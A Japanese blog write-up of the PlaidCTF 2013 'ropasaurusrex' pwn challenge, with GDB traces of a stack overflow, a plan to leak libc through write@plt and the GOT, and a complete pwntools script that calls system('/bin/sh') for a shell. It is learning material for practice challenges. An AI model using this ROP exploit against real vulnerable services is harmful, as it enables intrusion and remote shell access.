読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

PlaidCTF 2013 ropasaurusrex

pwn list pwn list easy

今回は名前からしてROPするんだろうなぁという予想を立てながら解くような問題だった。実行ファイルはELF-32bitのxined型であった。とりあえず、起動させてからどのような挙動をするのかを見てみることにした。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (コアダンプ)

おや?これはもしかしたらstack overflowして落ちたのだろうか?とりあえず「どのようなセグフォの仕方をするのか」に注目しながらデバッグしてみようかな。GDBどーん!

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

 [----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0xf7fbb000 --> 0x1aada8 
ECX: 0xffffcfe0 ('a' <repeats 200 times>...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x61616161 ('aaaa')
ESP: 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0004| 0xffffd074 ('a' <repeats 52 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0008| 0xffffd078 ('a' <repeats 48 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0012| 0xffffd07c ('a' <repeats 44 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0016| 0xffffd080 ('a' <repeats 40 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0020| 0xffffd084 ('a' <repeats 36 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0024| 0xffffd088 ('a' <repeats 32 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0028| 0xffffd08c ('a' <repeats 28 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
[------------------------------------------------------------------------------]

canaryが無効になっている時点でもしかしたら、EIP取れてるのだろうか?と思いながら入力して実行させてみると案の定取れてた。なるほど、今回はこれを利用してROPさせるのかと攻撃方針を立てたが、ここで問題になるのがNXが有効になっていることだ。stack内実行が不可能であるため、shellcodeを起動させるにしても、mmapまたはmprotectでメモリの実行権限を変更させなければならない。
しかし、今回はこの二つの関数は一回も使われていないため、実行ファイル内の.pltには存在していない。そのため、どちらにせよlibc baseをleakさせないといけないため、system関数を起動させるのが良いと考えた。
しかし、どうやってleakさせればよいのだろうか?もう一回実行させてみよう。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaa
WIN

入力した文字の次にWINの文字が出力されている。うーむ、入力と出力の二つをデバッガで追いかけてみようかな。

[-------------------------------------code-------------------------------------]
   0x8048405:   lea    eax,[ebp-0x88]
   0x804840b:   mov    DWORD PTR [esp+0x4],eax
   0x804840f:   mov    DWORD PTR [esp],0x0
=> 0x8048416:   call   0x804832c <read@plt>
   0x804841b:   leave  
   0x804841c:   ret    
   0x804841d:   push   ebp
   0x804841e:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffcfe0 --> 0x1 
arg[2]: 0x100 
[------------------------------------stack-------------------------------------]

[-------------------------------------code-------------------------------------]
   0x804842b:   mov    DWORD PTR [esp+0x8],0x4
   0x8048433:   mov    DWORD PTR [esp+0x4],0x8048510
   0x804843b:   mov    DWORD PTR [esp],0x1
=> 0x8048442:   call   0x804830c <write@plt>
   0x8048447:   leave  
   0x8048448:   ret    
   0x8048449:   nop
   0x804844a:   nop
Guessed arguments:
arg[0]: 0x1 
arg[1]: 0x8048510 ("WIN\n")
arg[2]: 0x4 
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0x1 
0004| 0xffffd074 --> 0x8048510 ("WIN\n")
0008| 0xffffd078 --> 0x4

 
gdb-peda$ x/100wx 0xffffcfe0
0xffffcfe0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffcff0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd000:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd010:    0x61616161 0x61616161 0x61616161 0x080a6161
0xffffd020:    0xf7ffd938 0x00000000 0x000000c2 0xf7ea5376
0xffffd030:    0xffffffff 0xffffd05e 0xf7e1cc34 0xf7e432f3
0xffffd040:    0x00000000 0x08049604 0xffffd058 0x080482e8
0xffffd050:    0xffffd2e7 0x08049604 0xffffd088 0x08048479
0xffffd060:    0x08048460 0x08048340 0xffffd088 0x0804842b
0xffffd070:    0x00000001 0x08048510 0x00000004

WINという文字が格納されているアドレスの中身を表示するようになっていた。そしてここでひらめきを得た。「これってwrite関数に任意のアドレスを入れたら中身を表示してくれるのでは!?」つまり、今回は使われているGOTアドレスを入れて置き、その関数のlibcのoffsetを引いてあげればlibc baseが求まるので、任意の関数を呼ぶことができる!
stackの詳細は以下のようになっている。

0xffffd068 saved ebp
0xffffd06c saved eip
0xffffd070 write first arg
0xffffd074 write second arg
0xffffd078 write third arg

まず最初にeipのアドレスをwrite.pltに変更する。そして次にreturnアドレスだが、もう一回readとwriteをするユーザ関数を呼ぶ。こうすることでもう一回同じ動作をするのでこのときにsystem(/bin/sh)を呼ぶ。また、write関数の2番目の引数にGOTアドレスをleakさせるために適当なライブラリ関数のGOTを入れて、ユーザー側にwriteした値をoffsetから引く形をとり、libc baseをleakさせる。まとめると以下のようになる。

1回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(write.plt)
0xffffd070 write first arg(1)
0xffffd074 return(readとwriteをするユーザ関数)
0xffffd078 write second arg(適当なGOTが分かっているライブラリ関数)
0xffffd07c write third arg(4)

2回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(system)
0xffffd070 return(適当)
0xffffd074 system first arg(/bin/sh)

stackのアドレスはASLRで変わるため、暫定的な値を使っているが相対的には上記のような順番で格納される。saved ebpの手前までoverflowさせてから上記のような順番で格納すれば上手くいくはず。ちなみに手前までのoffsetは

gdb-peda$ p/x 0xffffd068-0xffffcfe0
$2 = 0x88

以上を踏まえて攻撃コードを組んでみる。こーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./ropasaurusrex')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ropasaurusrex')
        print "[+] connect to local\n"

rw_fuc = 0x80483f4 # read and write user function
buffer_len = 0x88  # offset saved ebp

# first time rw_fuc leak libc base and set second rw_fuc
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)          # saved ebp
payload += p32(elf.symbols['write'])# saved eip
payload += p32(rw_fuc)              # write fuction return second time rw_fuc
payload += p32(1)                   # wirte fisrt arg stdout
payload += p32(elf.got['read'])     # write second arg send to user data
payload += p32(4)                   # write third arg len
conn.send(payload)

# get libc_base
read_libc = u32(conn.recv(4))
libc_base = read_libc - libc.symbols['read']

# sedond time rw_fuc set system(/bin/sh)
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)                              # saved ebp
payload += p32(libc_base + libc.symbols['system'])      # saved eip system
payload += p32(0xdeadbeef)                              # system return address
payload += p32(libc_base + next(libc.search('/bin/sh')))# system arg /bin/sh
conn.send(payload)

conn.interactive()

【総評】ROPは奥が深い。